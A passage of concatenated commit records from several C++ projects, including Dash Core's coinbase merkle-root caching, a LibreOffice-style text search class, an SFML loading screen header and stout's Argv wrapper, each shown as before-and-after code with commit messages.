caught!\" );\n }\n}\n\nvoid TextSearch::SetLocale( const ::com::sun::star::util::SearchOptions& rOptions,\n const ::com::sun::star::lang::Locale& rLocale )\n{\n \/\/ convert SearchParam to the UNO SearchOptions\n SearchOptions aSOpt( rOptions );\n aSOpt.Locale = rLocale;\n\n try\n {\n Reference< XMultiServiceFactory > xMSF = ::comphelper::getProcessServiceFactory();\n xTextSearch = Reference< XTextSearch > ( xMSF->createInstance(\n ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(\n \"com.sun.star.util.TextSearch\" ) ) ), UNO_QUERY_THROW );\n xTextSearch->setOptions( aSOpt );\n }\n catch ( Exception& )\n {\n DBG_ERRORFILE( \"TextSearch ctor: Exception caught!\" );\n }\n}\n\n\nTextSearch::~TextSearch()\n{\n}\n\n\/*\n * Die allgemeinen Methoden zu Suchen. Diese rufen dann die entpsrecheden\n * Methoden fuer die normale Suche oder der Suche nach Regular-Expressions\n * ueber die MethodenPointer auf.\n *\/\n#if defined _MSC_VER\n#pragma optimize(\"\", off)\n#endif\nint TextSearch::SearchFrwrd( const String & rStr, xub_StrLen* pStart,\n xub_StrLen* pEnde, SearchResult* pRes )\n{\n int nRet = 0;\n try\n {\n if( xTextSearch.is() )\n {\n SearchResult aRet( xTextSearch->searchForward(\n rStr, *pStart, *pEnde ));\n if( 1 == aRet.subRegExpressions )\n {\n nRet = 1;\n \/\/ the XTextsearch returns in startOffset the higher position\n \/\/ and the endposition is allways exclusive.\n \/\/ The caller of this function will have in startPos the\n \/\/ lower pos. and end\n *pStart = (xub_StrLen)aRet.startOffset[ 0 ];\n *pEnde = (xub_StrLen)aRet.endOffset[ 0 ];\n if( pRes )\n *pRes = aRet;\n }\n }\n }\n catch ( Exception& )\n {\n DBG_ERRORFILE( \"SearchForward: Exception caught!\" );\n }\n return nRet;\n}\n\nint TextSearch::SearchBkwrd( const String & rStr, xub_StrLen* pStart,\n xub_StrLen* pEnde, SearchResult* pRes )\n{\n int nRet = 0;\n try\n {\n if( xTextSearch.is() )\n {\n SearchResult aRet( xTextSearch->searchBackward(\n rStr, *pStart, *pEnde ));\n if( aRet.subRegExpressions )\n {\n nRet = 1;\n \/\/ the XTextsearch returns in startOffset the higher position\n \/\/ and the endposition is allways exclusive.\n \/\/ The caller of this function will have in startPos the\n \/\/ lower pos. and end\n *pEnde = (xub_StrLen)aRet.startOffset[ 0 ];\n *pStart = (xub_StrLen)aRet.endOffset[ 0 ];\n if( pRes )\n *pRes = aRet;\n }\n }\n }\n catch ( Exception& )\n {\n DBG_ERRORFILE( \"SearchBackward: Exception caught!\" );\n }\n return nRet;\n}\n\n#if defined _MSC_VER\n#pragma optimize(\"\", on)\n#endif\n\n\/\/ ............................................................................\n} \/\/ namespace utl\n\/\/ ............................................................................\n\n<|endoftext|>"} {"text":"<commit_before>\/\/===--- StatisticsRequired.cpp - \"Statistics To Gather\" Related Typing ---===\/\/\n\/\/\n\/\/ This file is part of the Election Method Mathematics\n\/\/ Application (EMMA) project.\n\/\/\n\/\/ Copyright (c) 2015 - 2016 Frank D. Martinez and the EMMA project authors\n\/\/ Licensed under the GNU Affero General Public License, version 3.0.\n\/\/\n\/\/ See the file called \"LICENSE\" included with this distribution\n\/\/ for license information.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Typing relating to statistics the application should gather.\n\/\/ Keeps track of which information the application should\n\/\/ collect.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"StatisticsRequired.h\"\n#include <iostream>\n\nnamespace Emma {\n StatisticsRequired::StatisticsRequired() {}\n StatisticsRequired::StatisticsRequired(const RawParsedOptions rpo) {\n std::cout << \"only collecting the default baseline statistics for now\" << std::endl;\n }\n IndividualElectionStatistics StatisticsRequired::getIndividualElectionStatistics() const {\n return each_election;\n }\n OverviewStatistics StatisticsRequired::getOverviewStatistics() const {\n return simulation_wide;\n }\n}\n<commit_msg>presenting commentary to Users in a way which does not look as careless<commit_after>\/\/===--- StatisticsRequired.cpp - \"Statistics To Gather\" Related Typing ---===\/\/\n\/\/\n\/\/ This file is part of the Election Method Mathematics\n\/\/ Application (EMMA) project.\n\/\/\n\/\/ Copyright (c) 2015 - 2016 Frank D. Martinez and the EMMA project authors\n\/\/ Licensed under the GNU Affero General Public License, version 3.0.\n\/\/\n\/\/ See the file called \"LICENSE\" included with this distribution\n\/\/ for license information.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Typing relating to statistics the application should gather.\n\/\/ Keeps track of which information the application should\n\/\/ collect.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"StatisticsRequired.h\"\n#include <iostream>\n\nnamespace Emma {\n StatisticsRequired::StatisticsRequired() {}\n StatisticsRequired::StatisticsRequired(const RawParsedOptions rpo) {\n std::cout << \"Note: We are only collecting the default baseline statistics for now\" << std::endl;\n }\n IndividualElectionStatistics StatisticsRequired::getIndividualElectionStatistics() const {\n return each_election;\n }\n OverviewStatistics StatisticsRequired::getOverviewStatistics() const {\n return simulation_wide;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2017-2018 The Dash Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"cbtx.h\"\n#include \"deterministicmns.h\"\n#include \"llmq\/quorums.h\"\n#include \"llmq\/quorums_blockprocessor.h\"\n#include \"llmq\/quorums_commitment.h\"\n#include \"simplifiedmns.h\"\n#include \"specialtx.h\"\n\n#include \"chainparams.h\"\n#include \"consensus\/merkle.h\"\n#include \"univalue.h\"\n#include \"validation.h\"\n\nbool CheckCbTx(const CTransaction& tx, const CBlockIndex* pindexPrev, CValidationState& state)\n{\n if (tx.nType != TRANSACTION_COINBASE) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-type\");\n }\n\n if (!tx.IsCoinBase()) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-invalid\");\n }\n\n CCbTx cbTx;\n if (!GetTxPayload(tx, cbTx)) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-payload\");\n }\n\n if (cbTx.nVersion == 0 || cbTx.nVersion > CCbTx::CURRENT_VERSION) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-version\");\n }\n\n if (pindexPrev && pindexPrev->nHeight + 1 != cbTx.nHeight) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-height\");\n }\n\n if (pindexPrev) {\n bool fDIP0008Active = VersionBitsState(pindexPrev, Params().GetConsensus(), Consensus::DEPLOYMENT_DIP0008, versionbitscache) == THRESHOLD_ACTIVE;\n if (fDIP0008Active && cbTx.nVersion < 2) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-version\");\n }\n }\n\n return true;\n}\n\n\/\/ This can only be done after the block has been fully processed, as otherwise we won't have the finished MN list\nbool CheckCbTxMerkleRoots(const CBlock& block, const CBlockIndex* pindex, CValidationState& state)\n{\n if (block.vtx[0]->nType != TRANSACTION_COINBASE) {\n return true;\n }\n\n static int64_t nTimePayload = 0;\n static int64_t nTimeMerkleMNL = 0;\n static int64_t nTimeMerkleQuorum = 0;\n\n int64_t nTime1 = GetTimeMicros();\n\n CCbTx cbTx;\n if (!GetTxPayload(*block.vtx[0], cbTx)) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-payload\");\n }\n\n int64_t nTime2 = GetTimeMicros(); nTimePayload += nTime2 - nTime1;\n LogPrint(\"bench\", \" - GetTxPayload: %.2fms [%.2fs]\\n\", 0.001 * (nTime2 - nTime1), nTimePayload * 0.000001);\n\n if (pindex) {\n uint256 calculatedMerkleRoot;\n if (!CalcCbTxMerkleRootMNList(block, pindex->pprev, calculatedMerkleRoot, state)) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-mnmerkleroot\");\n }\n if (calculatedMerkleRoot != cbTx.merkleRootMNList) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-mnmerkleroot\");\n }\n\n int64_t nTime3 = GetTimeMicros(); nTimeMerkleMNL += nTime3 - nTime2;\n LogPrint(\"bench\", \" - CalcCbTxMerkleRootMNList: %.2fms [%.2fs]\\n\", 0.001 * (nTime3 - nTime2), nTimeMerkleMNL * 0.000001);\n\n if (cbTx.nVersion >= 2) {\n if (!CalcCbTxMerkleRootQuorums(block, pindex->pprev, calculatedMerkleRoot, state)) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-quorummerkleroot\");\n }\n if (calculatedMerkleRoot != cbTx.merkleRootQuorums) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-quorummerkleroot\");\n }\n }\n\n int64_t nTime4 = GetTimeMicros(); nTimeMerkleQuorum += nTime4 - nTime3;\n LogPrint(\"bench\", \" - CalcCbTxMerkleRootQuorums: %.2fms [%.2fs]\\n\", 0.001 * (nTime4 - nTime3), nTimeMerkleQuorum * 0.000001);\n\n }\n\n return true;\n}\n\nbool CalcCbTxMerkleRootMNList(const CBlock& block, const CBlockIndex* pindexPrev, uint256& merkleRootRet, CValidationState& state)\n{\n LOCK(deterministicMNManager->cs);\n\n static int64_t nTimeDMN = 0;\n static int64_t nTimeSMNL = 0;\n static int64_t nTimeMerkle = 0;\n\n int64_t nTime1 = GetTimeMicros();\n\n CDeterministicMNList tmpMNList;\n if (!deterministicMNManager->BuildNewListFromBlock(block, pindexPrev, state, tmpMNList, false)) {\n return false;\n }\n\n int64_t nTime2 = GetTimeMicros(); nTimeDMN += nTime2 - nTime1;\n LogPrint(\"bench\", \" - BuildNewListFromBlock: %.2fms [%.2fs]\\n\", 0.001 * (nTime2 - nTime1), nTimeDMN * 0.000001);\n\n CSimplifiedMNList sml(tmpMNList);\n\n int64_t nTime3 = GetTimeMicros(); nTimeSMNL += nTime3 - nTime2;\n LogPrint(\"bench\", \" - CSimplifiedMNList: %.2fms [%.2fs]\\n\", 0.001 * (nTime3 - nTime2), nTimeSMNL * 0.000001);\n\n bool mutated = false;\n merkleRootRet = sml.CalcMerkleRoot(&mutated);\n\n int64_t nTime4 = GetTimeMicros(); nTimeMerkle += nTime4 - nTime3;\n LogPrint(\"bench\", \" - CalcMerkleRoot: %.2fms [%.2fs]\\n\", 0.001 * (nTime4 - nTime3), nTimeMerkle * 0.000001);\n\n return !mutated;\n}\n\nbool CalcCbTxMerkleRootQuorums(const CBlock& block, const CBlockIndex* pindexPrev, uint256& merkleRootRet, CValidationState& state)\n{\n static int64_t nTimeMinedAndActive = 0;\n static int64_t nTimeMined = 0;\n static int64_t nTimeLoop = 0;\n static int64_t nTimeMerkle = 0;\n\n int64_t nTime1 = GetTimeMicros();\n\n auto quorums = llmq::quorumBlockProcessor->GetMinedAndActiveCommitmentsUntilBlock(pindexPrev);\n std::map<Consensus::LLMQType, std::vector<uint256>> qcHashes;\n size_t hashCount = 0;\n\n int64_t nTime2 = GetTimeMicros(); nTimeMinedAndActive += nTime2 - nTime1;\n LogPrint(\"bench\", \" - GetMinedAndActiveCommitmentsUntilBlock: %.2fms [%.2fs]\\n\", 0.001 * (nTime2 - nTime1), nTimeMinedAndActive * 0.000001);\n\n for (const auto& p : quorums) {\n auto& v = qcHashes[p.first];\n v.reserve(p.second.size());\n for (const auto& p2 : p.second) {\n llmq::CFinalCommitment qc;\n uint256 minedBlockHash;\n bool found = llmq::quorumBlockProcessor->GetMinedCommitment(p.first, p2->GetBlockHash(), qc, minedBlockHash);\n assert(found);\n v.emplace_back(::SerializeHash(qc));\n hashCount++;\n }\n }\n\n int64_t nTime3 = GetTimeMicros(); nTimeMined += nTime3 - nTime2;\n LogPrint(\"bench\", \" - GetMinedCommitment: %.2fms [%.2fs]\\n\", 0.001 * (nTime3 - nTime2), nTimeMined * 0.000001);\n\n \/\/ now add the commitments from the current block, which are not returned by GetMinedAndActiveCommitmentsUntilBlock\n \/\/ due to the use of pindexPrev (we don't have the tip index here)\n for (size_t i = 1; i < block.vtx.size(); i++) {\n auto& tx = block.vtx[i];\n\n if (tx->nVersion == 3 && tx->nType == TRANSACTION_QUORUM_COMMITMENT) {\n llmq::CFinalCommitmentTxPayload qc;\n if (!GetTxPayload(*tx, qc)) {\n assert(false);\n }\n if (qc.commitment.IsNull()) {\n continue;\n }\n auto qcHash = ::SerializeHash(qc.commitment);\n const auto& params = Params().GetConsensus().llmqs.at((Consensus::LLMQType)qc.commitment.llmqType);\n auto& v = qcHashes[params.type];\n if (v.size() == params.signingActiveQuorumCount) {\n v.pop_back();\n }\n v.emplace_back(qcHash);\n hashCount++;\n assert(v.size() <= params.signingActiveQuorumCount);\n }\n }\n\n std::vector<uint256> qcHashesVec;\n qcHashesVec.reserve(hashCount);\n\n for (const auto& p : qcHashes) {\n for (const auto& h : p.second) {\n qcHashesVec.emplace_back(h);\n }\n }\n std::sort(qcHashesVec.begin(), qcHashesVec.end());\n\n int64_t nTime4 = GetTimeMicros(); nTimeLoop += nTime4 - nTime3;\n LogPrint(\"bench\", \" - Loop: %.2fms [%.2fs]\\n\", 0.001 * (nTime4 - nTime3), nTimeLoop * 0.000001);\n\n bool mutated = false;\n merkleRootRet = ComputeMerkleRoot(qcHashesVec, &mutated);\n\n int64_t nTime5 = GetTimeMicros(); nTimeMerkle += nTime5 - nTime4;\n LogPrint(\"bench\", \" - ComputeMerkleRoot: %.2fms [%.2fs]\\n\", 0.001 * (nTime5 - nTime4), nTimeMerkle * 0.000001);\n\n return !mutated;\n}\n\nstd::string CCbTx::ToString() const\n{\n return strprintf(\"CCbTx(nHeight=%d, nVersion=%d, merkleRootMNList=%s, merkleRootQuorums=%s)\",\n nVersion, nHeight, merkleRootMNList.ToString(), merkleRootQuorums.ToString());\n}\n\nvoid CCbTx::ToJson(UniValue& obj) const\n{\n obj.clear();\n obj.setObject();\n obj.push_back(Pair(\"version\", (int)nVersion));\n obj.push_back(Pair(\"height\", (int)nHeight));\n obj.push_back(Pair(\"merkleRootMNList\", merkleRootMNList.ToString()));\n if (nVersion >= 2) {\n obj.push_back(Pair(\"merkleRootQuorums\", merkleRootQuorums.ToString()));\n }\n}\n<commit_msg>Cache heavy parts of CalcCbTxMerkleRoot* (#2885)<commit_after>\/\/ Copyright (c) 2017-2018 The Dash Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"cbtx.h\"\n#include \"deterministicmns.h\"\n#include \"llmq\/quorums.h\"\n#include \"llmq\/quorums_blockprocessor.h\"\n#include \"llmq\/quorums_commitment.h\"\n#include \"simplifiedmns.h\"\n#include \"specialtx.h\"\n\n#include \"chainparams.h\"\n#include \"consensus\/merkle.h\"\n#include \"univalue.h\"\n#include \"validation.h\"\n\nbool CheckCbTx(const CTransaction& tx, const CBlockIndex* pindexPrev, CValidationState& state)\n{\n if (tx.nType != TRANSACTION_COINBASE) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-type\");\n }\n\n if (!tx.IsCoinBase()) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-invalid\");\n }\n\n CCbTx cbTx;\n if (!GetTxPayload(tx, cbTx)) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-payload\");\n }\n\n if (cbTx.nVersion == 0 || cbTx.nVersion > CCbTx::CURRENT_VERSION) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-version\");\n }\n\n if (pindexPrev && pindexPrev->nHeight + 1 != cbTx.nHeight) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-height\");\n }\n\n if (pindexPrev) {\n bool fDIP0008Active = VersionBitsState(pindexPrev, Params().GetConsensus(), Consensus::DEPLOYMENT_DIP0008, versionbitscache) == THRESHOLD_ACTIVE;\n if (fDIP0008Active && cbTx.nVersion < 2) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-version\");\n }\n }\n\n return true;\n}\n\n\/\/ This can only be done after the block has been fully processed, as otherwise we won't have the finished MN list\nbool CheckCbTxMerkleRoots(const CBlock& block, const CBlockIndex* pindex, CValidationState& state)\n{\n if (block.vtx[0]->nType != TRANSACTION_COINBASE) {\n return true;\n }\n\n static int64_t nTimePayload = 0;\n static int64_t nTimeMerkleMNL = 0;\n static int64_t nTimeMerkleQuorum = 0;\n\n int64_t nTime1 = GetTimeMicros();\n\n CCbTx cbTx;\n if (!GetTxPayload(*block.vtx[0], cbTx)) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-payload\");\n }\n\n int64_t nTime2 = GetTimeMicros(); nTimePayload += nTime2 - nTime1;\n LogPrint(\"bench\", \" - GetTxPayload: %.2fms [%.2fs]\\n\", 0.001 * (nTime2 - nTime1), nTimePayload * 0.000001);\n\n if (pindex) {\n uint256 calculatedMerkleRoot;\n if (!CalcCbTxMerkleRootMNList(block, pindex->pprev, calculatedMerkleRoot, state)) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-mnmerkleroot\");\n }\n if (calculatedMerkleRoot != cbTx.merkleRootMNList) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-mnmerkleroot\");\n }\n\n int64_t nTime3 = GetTimeMicros(); nTimeMerkleMNL += nTime3 - nTime2;\n LogPrint(\"bench\", \" - CalcCbTxMerkleRootMNList: %.2fms [%.2fs]\\n\", 0.001 * (nTime3 - nTime2), nTimeMerkleMNL * 0.000001);\n\n if (cbTx.nVersion >= 2) {\n if (!CalcCbTxMerkleRootQuorums(block, pindex->pprev, calculatedMerkleRoot, state)) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-quorummerkleroot\");\n }\n if (calculatedMerkleRoot != cbTx.merkleRootQuorums) {\n return state.DoS(100, false, REJECT_INVALID, \"bad-cbtx-quorummerkleroot\");\n }\n }\n\n int64_t nTime4 = GetTimeMicros(); nTimeMerkleQuorum += nTime4 - nTime3;\n LogPrint(\"bench\", \" - CalcCbTxMerkleRootQuorums: %.2fms [%.2fs]\\n\", 0.001 * (nTime4 - nTime3), nTimeMerkleQuorum * 0.000001);\n\n }\n\n return true;\n}\n\nbool CalcCbTxMerkleRootMNList(const CBlock& block, const CBlockIndex* pindexPrev, uint256& merkleRootRet, CValidationState& state)\n{\n LOCK(deterministicMNManager->cs);\n\n static int64_t nTimeDMN = 0;\n static int64_t nTimeSMNL = 0;\n static int64_t nTimeMerkle = 0;\n\n int64_t nTime1 = GetTimeMicros();\n\n CDeterministicMNList tmpMNList;\n if (!deterministicMNManager->BuildNewListFromBlock(block, pindexPrev, state, tmpMNList, false)) {\n return false;\n }\n\n int64_t nTime2 = GetTimeMicros(); nTimeDMN += nTime2 - nTime1;\n LogPrint(\"bench\", \" - BuildNewListFromBlock: %.2fms [%.2fs]\\n\", 0.001 * (nTime2 - nTime1), nTimeDMN * 0.000001);\n\n CSimplifiedMNList sml(tmpMNList);\n\n int64_t nTime3 = GetTimeMicros(); nTimeSMNL += nTime3 - nTime2;\n LogPrint(\"bench\", \" - CSimplifiedMNList: %.2fms [%.2fs]\\n\", 0.001 * (nTime3 - nTime2), nTimeSMNL * 0.000001);\n\n static CSimplifiedMNList smlCached;\n static uint256 merkleRootCached;\n static bool mutatedCached{false};\n\n if (sml.mnList == smlCached.mnList) {\n merkleRootRet = merkleRootCached;\n return !mutatedCached;\n }\n\n bool mutated = false;\n merkleRootRet = sml.CalcMerkleRoot(&mutated);\n\n int64_t nTime4 = GetTimeMicros(); nTimeMerkle += nTime4 - nTime3;\n LogPrint(\"bench\", \" - CalcMerkleRoot: %.2fms [%.2fs]\\n\", 0.001 * (nTime4 - nTime3), nTimeMerkle * 0.000001);\n\n smlCached = std::move(sml);\n merkleRootCached = merkleRootRet;\n mutatedCached = mutated;\n\n return !mutated;\n}\n\nbool CalcCbTxMerkleRootQuorums(const CBlock& block, const CBlockIndex* pindexPrev, uint256& merkleRootRet, CValidationState& state)\n{\n static int64_t nTimeMinedAndActive = 0;\n static int64_t nTimeMined = 0;\n static int64_t nTimeLoop = 0;\n static int64_t nTimeMerkle = 0;\n\n int64_t nTime1 = GetTimeMicros();\n\n static std::map<Consensus::LLMQType, std::vector<const CBlockIndex*>> quorumsCached;\n static std::map<Consensus::LLMQType, std::vector<uint256>> qcHashesCached;\n\n auto quorums = llmq::quorumBlockProcessor->GetMinedAndActiveCommitmentsUntilBlock(pindexPrev);\n std::map<Consensus::LLMQType, std::vector<uint256>> qcHashes;\n size_t hashCount = 0;\n\n int64_t nTime2 = GetTimeMicros(); nTimeMinedAndActive += nTime2 - nTime1;\n LogPrint(\"bench\", \" - GetMinedAndActiveCommitmentsUntilBlock: %.2fms [%.2fs]\\n\", 0.001 * (nTime2 - nTime1), nTimeMinedAndActive * 0.000001);\n\n if (quorums == quorumsCached) {\n qcHashes = qcHashesCached;\n } else {\n for (const auto& p : quorums) {\n auto& v = qcHashes[p.first];\n v.reserve(p.second.size());\n for (const auto& p2 : p.second) {\n llmq::CFinalCommitment qc;\n uint256 minedBlockHash;\n bool found = llmq::quorumBlockProcessor->GetMinedCommitment(p.first, p2->GetBlockHash(), qc, minedBlockHash);\n assert(found);\n v.emplace_back(::SerializeHash(qc));\n hashCount++;\n }\n }\n quorumsCached = quorums;\n qcHashesCached = qcHashes;\n }\n\n int64_t nTime3 = GetTimeMicros(); nTimeMined += nTime3 - nTime2;\n LogPrint(\"bench\", \" - GetMinedCommitment: %.2fms [%.2fs]\\n\", 0.001 * (nTime3 - nTime2), nTimeMined * 0.000001);\n\n \/\/ now add the commitments from the current block, which are not returned by GetMinedAndActiveCommitmentsUntilBlock\n \/\/ due to the use of pindexPrev (we don't have the tip index here)\n for (size_t i = 1; i < block.vtx.size(); i++) {\n auto& tx = block.vtx[i];\n\n if (tx->nVersion == 3 && tx->nType == TRANSACTION_QUORUM_COMMITMENT) {\n llmq::CFinalCommitmentTxPayload qc;\n if (!GetTxPayload(*tx, qc)) {\n assert(false);\n }\n if (qc.commitment.IsNull()) {\n continue;\n }\n auto qcHash = ::SerializeHash(qc.commitment);\n const auto& params = Params().GetConsensus().llmqs.at((Consensus::LLMQType)qc.commitment.llmqType);\n auto& v = qcHashes[params.type];\n if (v.size() == params.signingActiveQuorumCount) {\n v.pop_back();\n }\n v.emplace_back(qcHash);\n hashCount++;\n assert(v.size() <= params.signingActiveQuorumCount);\n }\n }\n\n std::vector<uint256> qcHashesVec;\n qcHashesVec.reserve(hashCount);\n\n for (const auto& p : qcHashes) {\n for (const auto& h : p.second) {\n qcHashesVec.emplace_back(h);\n }\n }\n std::sort(qcHashesVec.begin(), qcHashesVec.end());\n\n int64_t nTime4 = GetTimeMicros(); nTimeLoop += nTime4 - nTime3;\n LogPrint(\"bench\", \" - Loop: %.2fms [%.2fs]\\n\", 0.001 * (nTime4 - nTime3), nTimeLoop * 0.000001);\n\n bool mutated = false;\n merkleRootRet = ComputeMerkleRoot(qcHashesVec, &mutated);\n\n int64_t nTime5 = GetTimeMicros(); nTimeMerkle += nTime5 - nTime4;\n LogPrint(\"bench\", \" - ComputeMerkleRoot: %.2fms [%.2fs]\\n\", 0.001 * (nTime5 - nTime4), nTimeMerkle * 0.000001);\n\n return !mutated;\n}\n\nstd::string CCbTx::ToString() const\n{\n return strprintf(\"CCbTx(nHeight=%d, nVersion=%d, merkleRootMNList=%s, merkleRootQuorums=%s)\",\n nVersion, nHeight, merkleRootMNList.ToString(), merkleRootQuorums.ToString());\n}\n\nvoid CCbTx::ToJson(UniValue& obj) const\n{\n obj.clear();\n obj.setObject();\n obj.push_back(Pair(\"version\", (int)nVersion));\n obj.push_back(Pair(\"height\", (int)nHeight));\n obj.push_back(Pair(\"merkleRootMNList\", merkleRootMNList.ToString()));\n if (nVersion >= 2) {\n obj.push_back(Pair(\"merkleRootQuorums\", merkleRootQuorums.ToString()));\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"..\/IState.hpp\"\n#include <SFML\/Graphics\/Font.hpp>\n#include <list>\n\nclass LoadingScreen : public IState\n{\npublic:\n LoadingScreen();\n ~LoadingScreen();\n\n bool load();\n void unload();\n inline std::string getLoadState() const { return \"\"; }\n\n inline bool event(const sf::Event&) { return false; }\n void update(float dt);\n inline void draw(sf::RenderTarget&) { }\n void drawUi(sf::RenderTarget& target);\n\n void setLoadingText(const std::string& text);\n\nprivate:\n float mTime;\n std::string mCurrentString;\n std::list<std::string> mLastMessages;\n\n std::shared_ptr<sf::Font> mFont;\n std::shared_ptr<sf::Texture> mSpinner;\n};\n<commit_msg>Fix compiling on Linux<commit_after>#pragma once\n\n#include \"..\/IState.hpp\"\n#include <SFML\/Graphics\/Font.hpp>\n#include <memory>\n#include <list>\n\nclass LoadingScreen : public IState\n{\npublic:\n LoadingScreen();\n ~LoadingScreen();\n\n bool load();\n void unload();\n inline std::string getLoadState() const { return \"\"; }\n\n inline bool event(const sf::Event&) { return false; }\n void update(float dt);\n inline void draw(sf::RenderTarget&) { }\n void drawUi(sf::RenderTarget& target);\n\n void setLoadingText(const std::string& text);\n\nprivate:\n float mTime;\n std::string mCurrentString;\n std::list<std::string> mLastMessages;\n\n std::shared_ptr<sf::Font> mFont;\n std::shared_ptr<sf::Texture> mSpinner;\n};\n<|endoftext|>"} {"text":"<commit_before>\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef __STOUT_OS_RAW_ARGV_HPP__\n#define __STOUT_OS_RAW_ARGV_HPP__\n\n#include <string.h>\n\n#include <string>\n#include <vector>\n\n#include <stout\/foreach.hpp>\n\nnamespace os {\nnamespace raw {\n\n\/**\n * Represent the argument list expected by `execv` routines. The\n * argument list is an array of pointers that point to null-terminated\n * strings. The array of pointers must be terminated by a nullptr. To\n * use this abstraction, see the following example:\n *\n * vector<string> args = {\"arg0\", \"arg1\"};\n * os::raw::Argv argv(args);\n * execvp(\"my_binary\", argv);\n *\/\nclass Argv\n{\npublic:\n template <typename Iterable>\n explicit Argv(const Iterable& iterable)\n {\n foreach (const std::string& arg, iterable) {\n args.emplace_back(arg);\n }\n\n argv = new char*[args.size() + 1];\n for (size_t i = 0; i < args.size(); i++) {\n argv[i] = const_cast<char*>(args[i].c_str());\n }\n\n argv[args.size()] = nullptr;\n }\n\n ~Argv()\n {\n delete[] argv;\n }\n\n operator char**() const\n {\n return argv;\n }\n\n operator std::vector<std::string>() const\n {\n return args;\n }\n\nprivate:\n std::vector<std::string> args;\n\n \/\/ NOTE: This points to strings in the vector `args`.\n char** argv;\n};\n\n} \/\/ namespace raw {\n} \/\/ namespace os {\n\n#endif \/\/ __STOUT_OS_RAW_ARGV_HPP__\n<commit_msg>Deleted Argv copy constructor and assignment members.<commit_after>\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef __STOUT_OS_RAW_ARGV_HPP__\n#define __STOUT_OS_RAW_ARGV_HPP__\n\n#include <string.h>\n\n#include <string>\n#include <vector>\n\n#include <stout\/foreach.hpp>\n\nnamespace os {\nnamespace raw {\n\n\/**\n * Represent the argument list expected by `execv` routines. The\n * argument list is an array of pointers that point to null-terminated\n * strings. The array of pointers must be terminated by a nullptr. To\n * use this abstraction, see the following example:\n *\n * vector<string> args = {\"arg0\", \"arg1\"};\n * os::raw::Argv argv(args);\n * execvp(\"my_binary\", argv);\n *\/\nclass Argv\n{\npublic:\n Argv(const Argv&) = delete;\n Argv& operator=(const Argv&) = delete;\n\n template <typename Iterable>\n explicit Argv(const Iterable& iterable)\n {\n foreach (const std::string& arg, iterable) {\n args.emplace_back(arg);\n }\n\n argv = new char*[args.size() + 1];\n for (size_t i = 0; i < args.size(); i++) {\n argv[i] = const_cast<char*>(args[i].c_str());\n }\n\n argv[args.size()] = nullptr;\n }\n\n ~Argv()\n {\n delete[] argv;\n }\n\n operator char**() const\n {\n return argv;\n }\n\n operator std::vector<std::string>() const\n {\n return args;\n }\n\nprivate:\n std::vector<std::string> args;\n\n \/\/ NOTE: This points to strings in the vector `args`.\n char** argv;\n};\n\n} \/\/ namespace raw {\n} \/\/ namespace os {\n\n#endif \/\/ __STOUT_OS_RAW_ARGV_HPP__\n<|endoftext|>"} {"text":"<commit_before>#include \"..\/..\/..\/include\/cutehmi\/internal\/singleton.hpp\"\n\n#include <QList>\n\nnamespace {\n\tclass SingletonDestroyWrapper\n\t{\n\t\tpublic:\n\t\t\tSingletonDestroyWrapper(cutehmi::internal::singletonDestroyCallback callback):\n\t\t\t\tm_callback(callback)\n\t\t\t{\n\t\t\t}\n\n\t\t\t[[gnu::unused]]\n\t\t\tbool operator ==(const SingletonDestroyWrapper & other) const\n\t\t\t{\n\t\t\t\treturn m_callback == other.m_callback;\n\t\t\t}\n\n\t\t\tvoid 